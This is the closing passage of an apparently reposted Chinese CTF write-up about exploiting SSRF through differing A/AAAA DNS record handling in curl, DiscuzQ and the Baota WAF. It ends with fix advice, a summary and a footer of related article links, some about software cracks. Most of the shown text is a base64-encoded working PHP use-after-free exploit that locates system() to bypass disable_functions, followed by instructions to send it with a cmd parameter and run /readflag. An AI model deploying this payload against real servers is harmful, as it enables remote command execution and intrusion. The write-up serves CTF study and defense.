lbUV4ZWN1dG9yIGV4dGVuZHMgQXJyYXlPYmplY3QKewogICAgZnVuY3Rpb24gb2Zmc2V0R2V0KCR4KQogICAgewogICAgICAgIHBhcmVudDo6b2Zmc2V0R2V0KCR4KTsKICAgIH0KfQovKioKICogUmVhZHMgYW4gYXJiaXRyYXJ5IGFkZHJlc3MgYnkgY2hhbmdpbmcgYSB6dmFsIHRvIHBvaW50IHRvIHRoZSBhZGRyZXNzIG1pbnVzIDB4MTAsCiAqIGFuZCBzZXR0aW5nIGl0cyB0eXBlIHRvIHplbmRfc3RyaW5nLCBzbyB0aGF0IHplbmRfc3RyaW5nLT5sZW4gcG9pbnRzIHRvIHRoZSB2YWx1ZQogKiB3ZSB3YW50IHRvIHJlYWQuCiAqLwpmdW5jdGlvbiByZWFkKCRhZGRyLCAkcz04KQp7CiAgICBnbG9iYWwgJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHMsICRyd19kbGw7CiAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMl0gKyAweDE4LCAkYWRkciAtIDB4MTApOwogICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzWzJdICsgMHgyMCwgMHgwMDAwMDAwNik7CiAgICAkdmFsdWUgPSBzdHJsZW4oJHJ3X2RsbFswXSk7CiAgICBpZigkcyAhPSA4KQogICAgICAgICR2YWx1ZSAmPSAoMSA8PCAoJHMgPDwgMykpIC0gMTsKICAgIHJldHVybiAkdmFsdWU7Cn0KZnVuY3Rpb24gZ2V0X2JpbmFyeV9iYXNlKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSAwOwogICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgZm9yKCRpID0gMDsgJGkgPCAweDEwMDA7ICRpKyspCiAgICB7CiAgICAgICAgJGFkZHIgPSAkc3RhcnQgLSAweDEwMDAgKiAkaTsKICAgICAgICAkbGVhayA9IHJlYWQoJGFkZHIsIDcpOwogICAgICAgICMgRUxGIGhlYWRlcgogICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikKICAgICAgICAgICAgcmV0dXJuICRhZGRyOwogICAgfQogICAgIyBXZSdsbCBjcmFzaCBiZWZvcmUgdGhpcyBidXQgaXQncyBjbGVhcmVyIHRoaXMgd2F5CiAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gZmluZCBFTEYgaGVhZGVyJyk7Cn0KZnVuY3Rpb24gcGFyc2VfZWxmKCRiYXNlKQp7CiAgICAkZV90eXBlID0gcmVhZCgkYmFzZSArIDB4MTAsIDIpOwogICAgJGVfcGhvZmYgPSByZWFkKCRiYXNlICsgMHgyMCk7CiAgICAkZV9waGVudHNpemUgPSByZWFkKCRiYXNlICsgMHgzNiwgMik7CiAgICAkZV9waG51bSA9IHJlYWQoJGJhc2UgKyAweDM4LCAyKTsKICAgIGZvcigkaSA9IDA7ICRpIDwgJGVfcGhudW07ICRpKyspIHsKICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICRwX3R5cGUgID0gcmVhZCgkaGVhZGVyICsgMHgwMCwgNCk7CiAgICAgICAgJHBfZmxhZ3MgPSByZWFkKCRoZWFkZXIgKyAweDA0LCA0KTsKICAgICAgICAkcF92YWRkciA9IHJlYWQoJGhlYWRlciArIDB4MTApOwogICAgICAgICRwX21lbXN6ID0gcmVhZCgkaGVhZGVyICsgMHgyOCk7CiAgICAgICAgaWYoJHBfdHlwZSA9PSAxICYmICRwX2ZsYWdzID09IDYpIHsgIyBQVF9MT0FELCBQRl9SZWFkX1dyaXRlCiAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAkZGF0YV9hZGRyID0gJGVfdHlwZSA9PSAyID8gJHBfdmFkZHIgOiAkYmFzZSArICRwX3ZhZGRyOwogICAgICAgICAgICAkZGF0YV9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICR0ZXh0X3NpemUgPSAkcF9tZW1zejsKICAgICAgICB9CiAgICB9CiAgICBpZighJGRhdGFfYWRkciB8fCAhJHRleHRfc2l6ZSB8fCAhJGRhdGFfc2l6ZSkKICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gcGFyc2UgRUxGJyk7CiAgICByZXR1cm4gWyRkYXRhX2FkZHIsICR0ZXh0X3NpemUsICRkYXRhX3NpemVdOwp9CmZ1bmN0aW9uIGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZikgewogICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICBmb3IoJGkgPSAwOyAkaSA8ICRkYXRhX3NpemUgLyA4OyAkaSsrKSB7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAkaSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnY29uc3RhbnQnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAoJGkgKyA0KSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnYmluMmhleCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgaWYoJGRlcmVmICE9IDB4Nzg2NTY4MzI2ZTY5NjIpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICB9Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpCnsKICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgZG8gewogICAgICAgICRmX2VudHJ5ID0gcmVhZCgkYWRkcik7CiAgICAgICAgJGZfbmFtZSA9IHJlYWQoJGZfZW50cnksIDYpOwogICAgICAgIGlmKCRmX25hbWUgPT0gMHg2ZDY1NzQ3Mzc5NzMpIHsgIyBzeXN0ZW0KICAgICAgICAgICAgcmV0dXJuIHJlYWQoJGFkZHIgKyA4KTsKICAgICAgICB9CiAgICAgICAgJGFkZHIgKz0gMHgyMDsKICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICByZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbV9hZGRyZXNzKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSBnZXRfYmluYXJ5X2Jhc2UoJGJpbmFyeV9sZWFrKTsKICAgIHByaW50KCdFTEYgYmFzZTogMHgnIC5kZWNoZXgoJGJhc2UpIC4gIlxuIik7CiAgICAkZWxmID0gcGFyc2VfZWxmKCRiYXNlKTsKICAgICRiYXNpY19mdW5jcyA9IGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZik7CiAgICBwcmludCgnQmFzaWMgZnVuY3Rpb25zOiAweCcgLmRlY2hleCgkYmFzaWNfZnVuY3MpIC4gIlxuIik7CiAgICAkemlmX3N5c3RlbSA9IGdldF9zeXN0ZW0oJGJhc2ljX2Z1bmNzKTsKICAgIHJldHVybiAkemlmX3N5c3RlbTsKfQokZGxscyA9IFtdOwokc3RycyA9IFtdOwokcndfZGxsID0gbmV3IFNwbERvdWJseUxpbmtlZExpc3QoKTsKIyBDcmVhdGUgYSBjaGFpbiBvZiBkYW5nbGluZyB0cmlnZ2Vycywgd2hpY2ggd2lsbCBhbGwgaW4gdHVybgojIGZyZWUgY3VycmVudC0+bmV4dCwgcHVzaCBhbiBlbGVtZW50IHRvIHRoZSBuZXh0IGxpc3QsIGFuZCBmcmVlIGN1cnJlbnQKIyBUaGlzIHdpbGwgbWFrZSBzdXJlIHRoYXQgZXZlcnkgY3VycmVudC0+bmV4dCBwb2ludHMgdGhlIHNhbWUgbWVtb3J5IGJsb2NrLAojIHdoaWNoIHdlIHdpbGwgVUFGLgpmb3IoJGkgPSAwOyAkaSA8IE5CX0RBTkdMSU5HOyAkaSsrKQp7CiAgICAkZGxsc1skaV0gPSBuZXcgU3BsRG91Ymx5TGlua2VkTGlzdCgpOwogICAgJGRsbHNbJGldLT5wdXNoKG5ldyBEYW5nbGluZ1RyaWdnZXIoJGkpKTsKICAgICRkbGxzWyRpXS0+cmV3aW5kKCk7Cn0KIyBXZSB3YW50IG91ciBVQUYnZCBsaXN0IGVsZW1lbnQgdG8gYmUgYmVmb3JlIHR3byBzdHJpbmdzLCBzbyB0aGF0IHdlIGNhbgojIG9idGFpbiB0aGUgYWRkcmVzcyBvZiB0aGUgZmlyc3Qgc3RyaW5nLCBhbmQgaW5jcmVhc2UgaXMgc2l6ZS4gV2UgdGhlbiBoYXZlCiMgUi9XIG92ZXIgYWxsIG1lbW9yeSBhZnRlciB0aGUgb2J0YWluZWQgYWRkcmVzcy4KZGVmaW5lKCdOQl9TVFJTJywgNTApOwpmb3IoJGkgPSAwOyAkaSA8IE5CX1NUUlM7ICRpKyspCnsKICAgICRzdHJzW10gPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgU0laRV9FTEVNX1NUUikpOwogICAgaTJzKCRzdHJzWyRpXSwgMCwgU1RSX01BUktFUik7CiAgICBpMnMoJHN0cnNbJGldLCA4LCAkaSwgNyk7Cn0KIyBGcmVlIG9uZSBzdHJpbmcgaW4gdGhlIG1pZGRsZSwgLi4uCiRzdHJzW05CX1NUUlMgLSAyMF0gPSAxMjM7CiMgLi4uIGFuZCBwdXQgdGhlIHRvLWJlLVVBRidkIGxpc3QgZWxlbWVudCBpbnN0ZWFkLgokZGxsc1swXS0+cHVzaCgwKTsKIyBTZXR1cCB0aGUgbGFzdCBETGxpc3QsIHdoaWNoIHdpbGwgZXhwbG9pdCB0aGUgVUFGCiRkbGxzW05CX0RBTkdMSU5HXSA9IG5ldyBTcGxEb3VibHlMaW5rZWRMaXN0KCk7CiRkbGxzW05CX0RBTkdMSU5HXS0+cHVzaChuZXcgVUFGVHJpZ2dlcigpKTsKJGRsbHNbTkJfREFOR0xJTkddLT5yZXdpbmQoKTsKIyBUcmlnZ2VyIHRoZSBidWcgb24gdGhlIGZpcnN0IGxpc3QKJGRsbHNbMF0tPm9mZnNldFVuc2V0KDApOw==
*/

最后发送上去,即可执行命令,这里为了方便将其中固定的 id 命令改为可变的 cmd 参数。

成功执行命令。

14.执行 /readflag 即可成功读取到 flag。

修复方式

  • 对于 Curl:保持跳转之后解析以及访问行为一致,前面使用 A 记录访问的后面也应该使用 A 记录进行访问。
  • 对于 DiscuzQ:基于业务场景对接口能访问的域名进行限制。
  • 对于宝塔 WAF:写入前对路径做判断,同时想办法对 EOF 字符进行处理,不要受其影响。

总结

这种 SSRF 方式属于对 Blackcat 2020 上展示的利用 TLS 方法的升华,原方式由于 curl 等组件存在 DNS 缓存的原因,很多时候并不能利用成功。本文从另外一种角度进行阐述,利用网络请求时对存在 A 和 AAAA 记录的域名特殊的处理行为,将攻击者恶意构造的数据发送到目标上,从而达成攻击目的。

也希望各位选手在打 CTF 的时候也能多关注一些前沿的东西,对其作出自己的总结和思考,这样在这条路上才能走得更好更远。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2021-42321 - Microsoft Exchange Server 远程代码执行漏洞
攻击者经过身份验证后,可在受影响的机器上进行远程代码执行。此漏洞影响本地 Exchange Server,包括用户在 Exchange 混合模式下使用的服务器。该漏洞目前已发现在野利用。
Khan安全团队
2021/12/02
1.6K0
金蝶云星空管理中心反序列化RCE漏洞
金蝶云星空是一款云端企业资源管理(ERP)软件,为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织,多利润中心的大中型企业,以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖:财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务,帮助企业实现数字化营销新生态及管理重构等,提升企业数字化能力。
Timeline Sec
2023/11/01
1.3K0
金蝶云星空管理中心反序列化RCE漏洞
致远seeyon-OA系统脆弱性列表
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
2.8K0
基于白名单的Payload
Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 7,Windows 10等,在Windows 10系统中无需配置环境变量就能直接被调用,非常的方便。
王 瑞
2022/12/28
4.2K0
Apache OFBiz历史漏洞复现合集.pdf
首先访问 https://ip:8443/accounting,等待页面加载。页面加载后可以看到登陆界面:
Timeline Sec
2024/11/23
2200
Apache OFBiz历史漏洞复现合集.pdf
IBM QRadar SIEM远程代码执行漏洞 (CVE-2020-4888 POC)
IBM QRadar SIEM是美国IBM公司的一套利用安全智能保护资产和信息远离高级威胁的解决方案。该方案提供对整个IT架构范围进行监督、生成详细的数据访问和用户活动报告等功能。
Khan安全团队
2021/03/10
1.2K0
应急响应记录之水坑挂马事件分析
在攻防演练中红队时而会在获取到目标系统的webshell权限之后会通过篡改前端网页的JS或HTML文件内容并插入恶意代码来挂载水坑扩大战果,具体的效果主要是使其在用户首次访问网站时就出现弹窗诱导用户下载恶意文件并进行安装,也有不少更加彻底直接通过篡改文件来挂载Flash水坑文件来诱导用户下载恶意文件,本篇文章主要是通过介绍近期在应急响应阶段中的几个水坑挂载木马的安全事件从侧面介绍关于水坑挂载的排查思路以及方式,同时对水坑挂载的恶意文件内容进行简要分析
Al1ex
2024/12/23
1160
应急响应记录之水坑挂马事件分析
【Ruby】【改gem源镜像】【Win10 + Jruby-9.1.2.0 + Rails 5.1.3 + gem 2.6.4 】
(1)> gem sources –add http://gems.ruby-china.org 遇到问题: Error fetching https://gems.ruby-china.org/: certificate verify failed (https://gems.ruby-china.org/specs.4.8.gz)
全栈程序员站长
2022/09/06
8180
冰蝎3.0流量分析与还原
与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是,冰蝎3.0的AES密钥为连接密码32位md5值的前16位,默认连接密码rebeyond。该方法保证了全密文传输,但是依然具有一定的特点。
黑伞安全
2020/12/02
7.6K0
冰蝎3.0流量分析与还原
win7 64位官方旗舰版上搭建ruby on rails的步骤
———-第一步:安装ruby———— 1.安装 rubyinstaller-2.2.4-x64.exe ,记得勾选 add path…选项,安装完之后 ruby -v 查看版本号,比如 ruby 2.2.4p230 (2015-12-16 revision 53155) [x64-mingw32] (windows请安装1.9以上2.3以下版本的ruby) ————————————– ———-第二步:安装gem源———– 2. gem sources 查看当前使用的源地址。 3. gem sources -r https://rubygems.org/ 删除当前默认的源地址。 4. gem sources -a http://gems.ruby-china.org/ 添加源地址。 5. gem sources -u 更新源的缓存 ————————————– ———-第三步:安装Devkit———- 安装 DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe 在cmd里面 进入 Devkit 的安装目录 比如:E:\Devkit 6. ruby dk.rb init 初始化 7. 在E:\Devkit 里面找到 config.yml,在里面 加上 – C:\Ruby22-x64 (C:\Ruby22-x64 为ruby的硬盘绝对路径) 8. ruby dk.rb install 安装 ————————————– ———-第四步:安装rails———– 9. gem install rails –no-rdoc –no-ri 可以不安装文档,通过 rails -v 查看版本号,比如 Rails 4.2.6 ————————————– ———-第五步:测试rails———– 进入想要建立ruby工程的目录,假定要建立demo工程 10. rails new demo 建立一个 demo 名的工程 11.进入 demo文件夹里面 修改 Gemfile 文件,注释掉第一行# source ‘https://rubygems.org’ 并添加 source ‘http://gems.ruby-china.org’ 12.再次执行 rails new demo ,过程中 选 n 不覆盖 13.cd 进入 demo 目录,执行 rails server 启动服务 14.在浏览器输入 http://localhost:3000/ 如果看到 Welcome aboard You’re riding Ruby on Rails! 字样,代表rails安装成功。 ————————————–
全栈程序员站长
2022/09/06
5890
利用HTTPS协议打内网 SSRF新姿势
本文首发于先知社区,地址 https://xz.aliyun.com/t/9177
WgpSec
2021/03/01
1.1K0
【webpack】聊聊 Source Map 的使用
本文主要聊聊为什么要在 Webpack 中使用 Source Map?以及 Webpack 提供了哪些 Source Map 的使用方式,我们应该在开发环境和生产环境如何使用 Source map
GopalFeng
2022/08/01
1.1K0
【webpack】聊聊 Source Map 的使用
Pycharm2022最新激活破解教程(永久激活)
Pycharm2022.2最新激活破解教程(永久激活)通过补丁可以永久激活IDEA,前面IDEA安装方式都是一样的,主要是后面的步骤,注意看后面就行~
灬沙师弟
2022/10/11
11.7K0
Web中间件常见安全漏洞总结
来源 | https://www.lxhsec.com/2019/03/04/middleware
Bypass
2020/02/26
17K0
Spring_Cloud_Gateway_RCE 遇见waf之后的内存马
都在攻防啊,撞见一个SpringCloudGatewayRCE,可以新建路由,但是不能执行反弹shell的命令,随后测试发现应该存在ips或者waf,普通内存马,关键命令依然被阻断了。 随后翻了翻github,找到了哥斯拉的内存马代码:https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell 感谢各位安全行业无私奉献的兄弟姐妹们! 随成功进入内网! 分享给小白的傻瓜payload:
纯情
2023/04/27
8980
ja-netfilter 2022.1 配置
本文即日起 2022.05.23 只适合针对IDEA 2022 之前版本 配置有效 新版本 或者 除idea 以外的其他产品 请参考我的另一篇 博文: 又一款 IDEA 全家桶 神器 ja-netfilter-all
猫头虎
2024/04/07
5910
ja-netfilter 2022.1 配置
pycharm激活码永久2023最新有效pycharm激活方法
我们在使用激活码,激活IDE的时候,总是会出现这个提示“key is invalid”,一般出现这种情况时,有几个情况,如果你使用了激活工具,那么大概率是因为工具没有配置好工具没有生效,其次就是激活码不能用了,下面给出解决方法:
用户10638916
2023/07/16
31.6K1
pycharm激活码永久2023最新有效pycharm激活方法
DNS漏洞利用实践
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。
全栈工程师修炼指南
2022/09/29
7830
vue pc端打印二维码[通俗易懂]
以上新建一个index.js文件夹,在main.js里引入。在任何一个vue文件里调用 this.$dayin(img)
全栈程序员站长
2022/09/06
3940
临时码农敲门砖 有效 2022-10-16 (详情 见文末)
IntelliJ IDEA 是一款由 JetBrains 开发的集成开发环境(IDE),主要面向 Java 开发,但也支持多种其他编程语言。它是一个功能强大的工具,被广泛用于开发各种类型的应用程序,包括桌面应用、移动应用、Web 应用等。以下是关于 IntelliJ IDEA 的简要介绍:
猫头虎
2024/04/08
980
相关推荐
CVE-2021-42321 - Microsoft Exchange Server 远程代码执行漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验